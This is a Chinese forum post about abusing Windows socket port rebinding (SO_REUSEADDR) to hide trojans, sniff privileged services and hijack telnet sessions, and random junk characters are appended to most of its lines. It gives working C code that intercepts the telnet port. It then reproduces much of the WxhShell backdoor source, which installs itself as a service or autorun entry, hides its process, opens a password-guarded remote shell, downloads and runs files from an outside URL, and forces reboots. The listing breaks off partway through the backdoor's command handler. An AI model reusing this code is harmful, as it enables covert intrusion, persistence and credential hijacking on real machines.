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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QTLGM-Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HB:VpNFn  
H:5- S  
  saddr.sin_family = AF_INET; {1Hs5bg@  
Q xm:5P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )0UXTyw^  
eJ3;Sd''  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #Et%s8{  
a]4h5kJ';  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EgB$y"fs  
<l!{j?Kx  
  这意味着什么?意味着可以进行如下的攻击: XN %tcaY  
0T7c=5z4W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -)E nr6  
<!G%P4)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [L`w nP  
$Si|;j$?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ==]BrhZK  
&|Cd1z#?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ts1XIK%  
Sece#K2J|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HY>zgf,0  
?Jy /]j5fI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5e|yW0o  
,.,spoV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2uT"LW/(H  
8D:0Vhx\I  
  #include D4IP$pAD  
  #include oUNuM%g9Dy  
  #include Dhze2q)o  
  #include    b2Oj 1dP1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Zp qb0ro  
  int main() S17 c#6vT  
  { MfG8=H2#|  
  WORD wVersionRequested; PW QRy  
  DWORD ret; MiN|u  
  WSADATA wsaData; kR/Etm5_  
  BOOL val; 3;Y 9<  
  SOCKADDR_IN saddr; @|6#]&v`  
  SOCKADDR_IN scaddr; F\Q X=n  
  int err; G:4'')T  
  SOCKET s; @wPyXl  
  SOCKET sc; w:HRzU>  
  int caddsize; \ Dccf_(Pb  
  HANDLE mt; \m%Z;xKG  
  DWORD tid;   aNDpCpy  
  wVersionRequested = MAKEWORD( 2, 2 ); vlVHoF;&  
  err = WSAStartup( wVersionRequested, &wsaData ); { YMO8  
  if ( err != 0 ) { 35 d:r:  
  printf("error!WSAStartup failed!\n"); ArVW2gL  
  return -1; K*9~ g('  
  } q~6a$8+t  
  saddr.sin_family = AF_INET; Nf!WqD*je  
   VxW>Xx G0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8{DW$Z tR  
Ge^(Ag}vE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %pj T?G7  
  saddr.sin_port = htons(23); 8z)J rO}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tb/`*Yl@  
  { 9(pF!}1 %\  
  printf("error!socket failed!\n"); (;cKv  
  return -1; c0f8*O4i  
  } BK)3b6L=%  
  val = TRUE; W'{o`O=GGr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]47!Zo,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )'i n}M  
  { pv"QgH  
  printf("error!setsockopt failed!\n"); 'BX U '  
  return -1; `b*x}HP$  
  } M~l\rg8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .kc{)d*0K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r,Tq";N'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }DFZ9,gQ  
(q}{;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OfPv'rW{x  
  { ;U[W $w[  
  ret=GetLastError(); o-+H-  
  printf("error!bind failed!\n"); AB=Wj*f r  
  return -1; RgSB?  
  } 2Kz407|'  
  listen(s,2); .1F41UyL  
  while(1) WCyjp  
  { &Pe[kCO]  
  caddsize = sizeof(scaddr); R/P9=yvg0  
  //接受连接请求 auHP^O> 4L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bltZQI|  
  if(sc!=INVALID_SOCKET) 9S/X,|i  
  { x \b+B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;T3}#Q*qC  
  if(mt==NULL) aE[:9{<|  
  { kJ"}JRA<  
  printf("Thread Creat Failed!\n"); ![ @i+hl  
  break; ks7id[~&iY  
  } $ E-c%-  
  } [B@R(z=H  
  CloseHandle(mt); iD) P6"  
  } g:2\S=  
  closesocket(s); Cig! 3  
  WSACleanup(); '<1Q;3Ho  
  return 0; 6F; |x  
  }   KvmXRf*z  
  DWORD WINAPI ClientThread(LPVOID lpParam) U.c~l,5%"  
  { 6ANA oWg*  
  SOCKET ss = (SOCKET)lpParam; ZO& F15$P  
  SOCKET sc; PMZ*ECIJU  
  unsigned char buf[4096]; q DPl( WXb  
  SOCKADDR_IN saddr; 91|~KR)  
  long num; % |G"ZPO?  
  DWORD val; LX</xI08W  
  DWORD ret; JlE b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :LLz$[c8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qJK-HF:#  
  saddr.sin_family = AF_INET; N**" u"CX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j$Vtd &  
  saddr.sin_port = htons(23); >K*TgG6!X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rnQ9uNAu  
  { , %A2wV  
  printf("error!socket failed!\n"); )F m'i&F_  
  return -1; } QpyU%  
  } sfR0wEqI  
  val = 100; +^3 *Y"6Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )NnkoCNeE  
  { DEt;$>tl 5  
  ret = GetLastError(); O5dBI_  
  return -1; (d#W3  
  } qb KcI+)47  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9M7Wlx2  
  { ESi-'R&  
  ret = GetLastError(); mhMRY9ahB  
  return -1; zv~b-Tp  
  } xPMX\aI|l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <5npVm  
  { T#ehJq 5  
  printf("error!socket connect failed!\n"); ZG)6{WS  
  closesocket(sc); ~QU\kZ7Z  
  closesocket(ss); LsaRw-4.c  
  return -1; X;d 1@G  
  } vg\fBHzn  
  while(1) oB%j3aAH  
  { M7c53fz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `g'z6~c7n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5Eu`1f?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  EHda  
  num = recv(ss,buf,4096,0); seA=7c5E  
  if(num>0) /OeOL3Y  
  send(sc,buf,num,0); tx]!|x" F  
  else if(num==0) M [6WcH0/T  
  break; %kL]-Z  
  num = recv(sc,buf,4096,0); 9` G}GU]@}  
  if(num>0) !uN_<!  
  send(ss,buf,num,0); FmhN*ZXr #  
  else if(num==0) *wV`7\@  
  break; L87=*_!B;  
  } I ka V g L  
  closesocket(ss); >:P-3#e*  
  closesocket(sc); 6B@{X^6y  
  return 0 ; Jqqt@5Ni  
  } g&O!w!T  
~}ba2dU8  
%J :2y  
========================================================== GtkZ%<KF9  
;xjw'%n,  
下边附上一个代码,,WXhSHELL J4jL%5t  
s` o _ER  
========================================================== =:Lc-y>  
6Lz:J:Q)  
#include "stdafx.h" ::!{f+Up  
&u0on) E  
#include <stdio.h> s3oQ( wC %  
#include <string.h> E7j9A`  
#include <windows.h> !\|L(Paf  
#include <winsock2.h> ;\gHFG}  
#include <winsvc.h> ]t;bCD6*  
#include <urlmon.h> Te@=8-u-  
rNeSg=j  
#pragma comment (lib, "Ws2_32.lib") zwdi$rM5  
#pragma comment (lib, "urlmon.lib") Q9sxI}D )R  
\O+Hmi^  
#define MAX_USER   100 // 最大客户端连接数 X;3gKiD  
#define BUF_SOCK   200 // sock buffer >?ckBU9  
#define KEY_BUFF   255 // 输入 buffer [-w+ACV~  
~%u;lr  
#define REBOOT     0   // 重启 ePe/@g1K*  
#define SHUTDOWN   1   // 关机 "U iv[8B  
\-RVPa8k  
#define DEF_PORT   5000 // 监听端口 )}4xmf@g l  
cfUG)-]P~  
#define REG_LEN     16   // 注册表键长度 FWuk@t[<O  
#define SVC_LEN     80   // NT服务名长度 i`EG80\[Z  
RyZy2^0<  
// 从dll定义API 9+co `t.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l5l#LsaQb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jfsbvak  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Cj` 0v#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R;F z"J  
)r6d3-p1  
// wxhshell配置信息 );*#s~R  
struct WSCFG { I 2*\J)|f  
  int ws_port;         // 监听端口 Ui05o7xg~p  
  char ws_passstr[REG_LEN]; // 口令 ]VHO'z\m  
  int ws_autoins;       // 安装标记, 1=yes 0=no .{66q#.  
  char ws_regname[REG_LEN]; // 注册表键名 H]&^>Pvh  
  char ws_svcname[REG_LEN]; // 服务名 ZR@PqS+O/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W3Dtt-)E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DeGcS1_?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hV[=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "[wP1n!G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "yc@_+"\+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qb >mUS  
V.~C.x  
}; ^3w >:4m  
|f< -lB[k  
// default Wxhshell configuration HbQ+:B]  
struct WSCFG wscfg={DEF_PORT, Hy#<fKz`!  
    "xuhuanlingzhe", P> i lRb  
    1, m>LC2S; f  
    "Wxhshell", \,yX3R3}.~  
    "Wxhshell", cA25FD  
            "WxhShell Service", ^RE("'+  
    "Wrsky Windows CmdShell Service", 'U'Y[*m@  
    "Please Input Your Password: ", }?=4pGsI  
  1, OjBg$f~0F  
  "http://www.wrsky.com/wxhshell.exe", E~'QC  
  "Wxhshell.exe" Afo qCF  
    }; z*OQ4_  
wd0*"c@  
// 消息定义模块 a29rD$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $+p4X# _  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v="2p8@F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s.K Hm L3  
char *msg_ws_ext="\n\rExit."; O`Ge|4  
char *msg_ws_end="\n\rQuit."; KImazS^  
char *msg_ws_boot="\n\rReboot..."; zua=E2  
char *msg_ws_poff="\n\rShutdown..."; GN@(!V#/4  
char *msg_ws_down="\n\rSave to "; K*fh`Kz  
U8icP+Y  
char *msg_ws_err="\n\rErr!"; o~={M7 m  
char *msg_ws_ok="\n\rOK!"; $C~OV@I  
x /xd  
char ExeFile[MAX_PATH]; 9ZXEy }q57  
int nUser = 0; 3ew`e"s  
HANDLE handles[MAX_USER]; ;-@v1I;  
int OsIsNt; q8P$Md-=b1  
=#sr4T  
SERVICE_STATUS       serviceStatus; <t)D`nY\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <-K'9ut,  
N!W2O>VS  
// 函数声明 6A*k  
int Install(void); = , ^eQZR:  
int Uninstall(void); T{Y;-m  
int DownloadFile(char *sURL, SOCKET wsh); @>SirYh  
int Boot(int flag); O'~;|-Z<  
void HideProc(void); ;&MI M`&$  
int GetOsVer(void); WwYy[3U  
int Wxhshell(SOCKET wsl); 9#ZR0t.cY  
void TalkWithClient(void *cs); x,>r}I>^Q  
int CmdShell(SOCKET sock); cuW&X9\m,  
int StartFromService(void); P *zOt]T  
int StartWxhshell(LPSTR lpCmdLine); @"gWv s  
$l<(*,,l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kqyPb$Wy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kitx%P`i  
#JIh-h@  
// 数据结构和表定义 Fi_JF;  
SERVICE_TABLE_ENTRY DispatchTable[] = 2fv`O  
{ IW-lC{hK  
{wscfg.ws_svcname, NTServiceMain}, (_'Efpg|  
{NULL, NULL} si.w1  
}; yttIA/  
KG8Km  
// 自我安装 >)p8^jX   
int Install(void) ^YwTO/Q|  
{ pQf5s7  
  char svExeFile[MAX_PATH]; *='J>z.]  
  HKEY key; j65qIw_Z  
  strcpy(svExeFile,ExeFile); j`pX2S  
:q,tmk h  
// 如果是win9x系统,修改注册表设为自启动 gS$?#!f  
if(!OsIsNt) { N#"(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2%*mL98WK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YqSkz|o}m  
  RegCloseKey(key); -kI;yL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U";8zplU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '#p2v'A  
  RegCloseKey(key); 7lYiufg  
  return 0; G>yTv`-  
    } :Lze8oY(D}  
  } 0281"aO  
} c-gpO|4>  
else { POtwT">z  
(c=.?{U  
// 如果是NT以上系统,安装为系统服务 }:2GD0Ru  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rS^+y{7  
if (schSCManager!=0) ]E!b&  
{ ytg' {)  
  SC_HANDLE schService = CreateService c mI&R(  
  ( uF89B-t  
  schSCManager, Mp`2[S@$  
  wscfg.ws_svcname, TowRY=#jiS  
  wscfg.ws_svcdisp, ! >l)*jN8  
  SERVICE_ALL_ACCESS, V$';B=M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #`(-Oj2hH  
  SERVICE_AUTO_START, MX\v2["FoV  
  SERVICE_ERROR_NORMAL, aS,M=uqqK  
  svExeFile, >GV = %  
  NULL, yE4X6  
  NULL, m/(f?M l  
  NULL, o@!Uds0  
  NULL, EmO{lCENk  
  NULL Y3RaR 9  
  ); W+&<C#1|]  
  if (schService!=0) FT/STI  
  { z1R_a=7  
  CloseServiceHandle(schService); PH]/*LEj  
  CloseServiceHandle(schSCManager); /3pvq%i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jj$D6f/mOG  
  strcat(svExeFile,wscfg.ws_svcname); 7g&"clRGO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AYnk.H-v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -cqR]'u  
  RegCloseKey(key); 9p{7x[C  
  return 0; r{pbUk  
    } dnW#"  
  } g4-UBDtYt  
  CloseServiceHandle(schSCManager); K[~fpQGbV1  
} z;#]xCV  
} y6C3u5`  
#'&&&_Hu3  
return 1; eNEMyv5{w4  
} 1U(P0$C  
WY)*3?  
// 自我卸载 ] eO25,6  
int Uninstall(void) Dq:>]4%  
{ y/(60H,{{  
  HKEY key;  ^D.u   
/3`(Ki{ Q  
if(!OsIsNt) { q{:]D(   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nhZ^`mP  
  RegDeleteValue(key,wscfg.ws_regname); v3 q.,I_  
  RegCloseKey(key); nS5g!GYY,k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b|KlWt'  
  RegDeleteValue(key,wscfg.ws_regname); f0 d*%  
  RegCloseKey(key); }mx>3G{d  
  return 0; p|f5w"QcH  
  } jf WZLb)  
} b|'{f?  
} ,K>q{H^  
else { 4[o/p8*/  
cU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kl0|22"Gz  
if (schSCManager!=0) 6myF!  H=  
{ (n+FEE<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @3_[NI%  
  if (schService!=0) ys~oJb~  
  {  ZFH;  
  if(DeleteService(schService)!=0) { 94CHxv  
  CloseServiceHandle(schService); #i1z&b#@  
  CloseServiceHandle(schSCManager); yy(.|  
  return 0; a2!;$B%  
  } |_GESpoHH  
  CloseServiceHandle(schService); fp`k1Uq@  
  } XJI ff$K  
  CloseServiceHandle(schSCManager); BdQ/kXZu+  
} }F<=  
} ]aN]Ha  
~( ~ y=M  
return 1; WPpS?  
} _ \LP P_  
t 8,VRFV  
// 从指定url下载文件 4/J"}S  
int DownloadFile(char *sURL, SOCKET wsh) FIEA 'kUy  
{ OKO+(>A Q  
  HRESULT hr; |K,[[D<R  
char seps[]= "/"; snm1EPj  
char *token; u#^~([ I  
char *file; aSVR +of  
char myURL[MAX_PATH]; j+6`nN7L  
char myFILE[MAX_PATH]; pHKGK7 S-  
&RL j^A!  
strcpy(myURL,sURL); NB=!1;^J  
  token=strtok(myURL,seps); Gj ka %  
  while(token!=NULL) qvN`46c  
  {  aWTvowA  
    file=token; Hph$Z 1{  
  token=strtok(NULL,seps); k0^t$J W  
  } P3op1/Np  
+F@ZVMp  
GetCurrentDirectory(MAX_PATH,myFILE); aP}30E*Y  
strcat(myFILE, "\\"); 59X'-fg,  
strcat(myFILE, file); Y0Bd[  
  send(wsh,myFILE,strlen(myFILE),0); RJ0:O   
send(wsh,"...",3,0); k,0lA#>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L_{gM`UFc  
  if(hr==S_OK) e]k\dj;,^%  
return 0; ,E3Ze*(U  
else ^EF VjGM  
return 1; fB"It~ p  
<]wQ;14;H  
} FesUE_L2$  
<[Y@<  
// 系统电源模块 4E 32DG*  
int Boot(int flag) <C{uodFll  
{ dR@XwEpP  
  HANDLE hToken; bb}$7v`G  
  TOKEN_PRIVILEGES tkp; 7:$zSj# y  
&++tp5  
  if(OsIsNt) { FL?Ndy"I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h4geoC_W2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G+V?c1Me  
    tkp.PrivilegeCount = 1; :211T&B%A_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  5JggU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <F6LC_  
if(flag==REBOOT) { j3&tXZ;F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~;D5j) 9I  
  return 0; sB+ B,DF  
} MNWuw;:v  
else { 4khc*fh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >yr1wVS  
  return 0; < s1  
} k+;XQEH  
  } P&.-c _  
  else { U{?#W  
if(flag==REBOOT) { cj@ar^=`K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /&!4oBna  
  return 0; Q8?:L<A  
} dSPye z  
else { Uf\,U8UB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \@F~4,VT  
  return 0; u81@vEK:_  
} HBiUp$(mB  
} nz_1Fu>g|  
>(BAIjF E\  
return 1; :/~TV   
} CEEAyip-c  
IEeh9:Km  
// win9x进程隐藏模块 u1) #^?  
void HideProc(void) uB>OS 1=  
{ 6X[Mn2wYW  
rGUu K0L&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <&MY/vV  
  if ( hKernel != NULL ) F*J@OY8i  
  { ,]H2F']4Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :V ZXI#([  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z,JoxK2"  
    FreeLibrary(hKernel); E9~}%&  
  } PCs`aVZ  
l,@rB+u  
return; #Zj3SfU~`  
} .ovG_O  
"?r_A*U  
// 获取操作系统版本 \?~cJMN  
int GetOsVer(void) n1PV/ Z  
{ AEE&{ _[S  
  OSVERSIONINFO winfo; @*^%^ P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hzV= 7  
  GetVersionEx(&winfo); L,_Z:\^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k r ga!,I  
  return 1; bD4aSubN  
  else .)[0yW&  
  return 0; o%)38T*n3  
} [/GCy0jk  
n?}7vz;  
// 客户端句柄模块 :e!3-#H  
int Wxhshell(SOCKET wsl)  @s7wKk  
{ !.@F,wZvY  
  SOCKET wsh; x03@}M1  
  struct sockaddr_in client; =BroH\  
  DWORD myID; aK5O0`  
<}('w/  
  while(nUser<MAX_USER) b/6!>qMMk%  
{ #iVr @|,  
  int nSize=sizeof(client); ePscSMx&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v0u, :eZ4  
  if(wsh==INVALID_SOCKET) return 1; UJ7{FN=@t  
cllnYvr3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :7[4wQDt4  
if(handles[nUser]==0) f <pJ_  
  closesocket(wsh); r O-=):2  
else #j4jZBOTM  
  nUser++; G^2%F5@  
  } ZIs=%6""&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Apbgm[m|{  
RhD   
  return 0; z#Db~  
} |"i"8~/@<  
,lb >  
// 关闭 socket ^2 \-zX!bt  
void CloseIt(SOCKET wsh) O*udVE>  
{ 6~tj"34_  
closesocket(wsh); BXa.XZ<n(  
nUser--; v%E~sX&CG  
ExitThread(0); ykD-L^}  
} ,&iZ*6=X?0  
0P^&{ek+)  
// 客户端请求句柄 Qv;q*4_  
void TalkWithClient(void *cs) M%v 6NxN  
{ sj8lvIY5  
dLtmG:II  
  SOCKET wsh=(SOCKET)cs; M@<r8M]G  
  char pwd[SVC_LEN]; a,eJO??  
  char cmd[KEY_BUFF]; NN] 8T  
char chr[1]; O6$n VpD3  
int i,j; G0b##-.'^  
,iMdv+  
  while (nUser < MAX_USER) { p@[n(?duC.  
h {VdW}g  
if(wscfg.ws_passstr) { K8 Hj)$E61  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #8r1<`']!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )(-aw,i K  
  //ZeroMemory(pwd,KEY_BUFF); $ 9 k5a  
      i=0; 8c5=Px2\  
  while(i<SVC_LEN) { e`bP=7`0  
~*hCTqH vN  
  // 设置超时 j5MUP&/g3  
  fd_set FdRead; t`pbEjE0K  
  struct timeval TimeOut; ZDbzH=[  
  FD_ZERO(&FdRead); rj/1AK  
  FD_SET(wsh,&FdRead); d-'BT(@:  
  TimeOut.tv_sec=8; f[Xsri  
  TimeOut.tv_usec=0; :uB(PeAv*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nn-EtM0w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >6Ody<JPHP  
q_z;kCHM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =h,J!0Y  
  pwd=chr[0]; ;"JgNad  
  if(chr[0]==0xd || chr[0]==0xa) { n*rXj{Kt  
  pwd=0; BE)&.}l  
  break; z C 7b  
  } zvR;Tl6]  
  i++; .s\_H,  
    } }#phNn6  
hQwUw foe@  
  // 如果是非法用户,关闭 socket FXh*!%"*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'RZ0,SK'  
} FYIz_GTk  
hq?F8 1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bJ^Jmb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fU|4^p)  
EAV6qW\r5]  
while(1) { A@jBn6  
-q&7q  
  ZeroMemory(cmd,KEY_BUFF); H^<?h6T  
ufo\p=pGG  
      // 自动支持客户端 telnet标准   X3HJ3F;==  
  j=0; /Nns3oE  
  while(j<KEY_BUFF) { |}Mthj9n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xtK}XEhG!  
  cmd[j]=chr[0]; Au"BDP  
  if(chr[0]==0xa || chr[0]==0xd) { <vd}oiB@  
  cmd[j]=0; pER[^LH_)  
  break; MUUhg  
  } th}&|Y)T2  
  j++; 8=u88?Bh  
    } \ESNfL5  
5MK.>3fE  
  // 下载文件 FTu<$`!1L  
  if(strstr(cmd,"http://")) { &Z%'xAOGR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uTvf[%EHW  
  if(DownloadFile(cmd,wsh)) N`O0jH{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >N"=10  
  else )3^#CD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d(^3S>V|q  
  } @ 1FWBH~  
  else { jQ['f\R  
[ nLd>2P  
    switch(cmd[0]) { `KUL 4) g~  
  g ,yB^^%  
  // 帮助 GW2v&Ul7(  
  case '?': { K~+x@O*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ik5"9b-\<  
    break; I5E+=.T*ar  
  } et<@3wyd]  
  // 安装 e#@u&+K/f  
  case 'i': { irMBd8WG  
    if(Install()) Ct]? /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5hfx2 O)  
    else J9P\D!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G Q}Rxu]  
    break; j]m|}n  
    } XsX];I{E,  
  // 卸载 'y7<!uo?  
  case 'r': { ^_/gM[H.  
    if(Uninstall()) jF-0fK;)*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e?WI=Og  
    else 3iw. yR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g_)i)V  
    break; F6" QsFG  
    } =z'533C  
  // 显示 wxhshell 所在路径 m Gx{Vpt  
  case 'p': { 4MRN{W6  
    char svExeFile[MAX_PATH]; 0OBwe6*  
    strcpy(svExeFile,"\n\r"); RQ,X0 pS  
      strcat(svExeFile,ExeFile); qWJa p-hb  
        send(wsh,svExeFile,strlen(svExeFile),0); {'cdi`  
    break; Vk%W4P"l  
    } j#${L6  
  // 重启 &Q t1~#1  
  case 'b': { R^rA.7T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ).jna`A,  
    if(Boot(REBOOT)) qot {#tk d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[J.?v&^  
    else { :AyZe7:(D  
    closesocket(wsh); <Ys7`e6eY  
    ExitThread(0); cq9d;~q  
    } *oAnG:J+M  
    break; (qDJgf4fgn  
    } p<&dy^mS  
  // 关机 N|w;wF!3  
  case 'd': { Rk}=SB-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `tm(3pJ  
    if(Boot(SHUTDOWN)) i~tps  
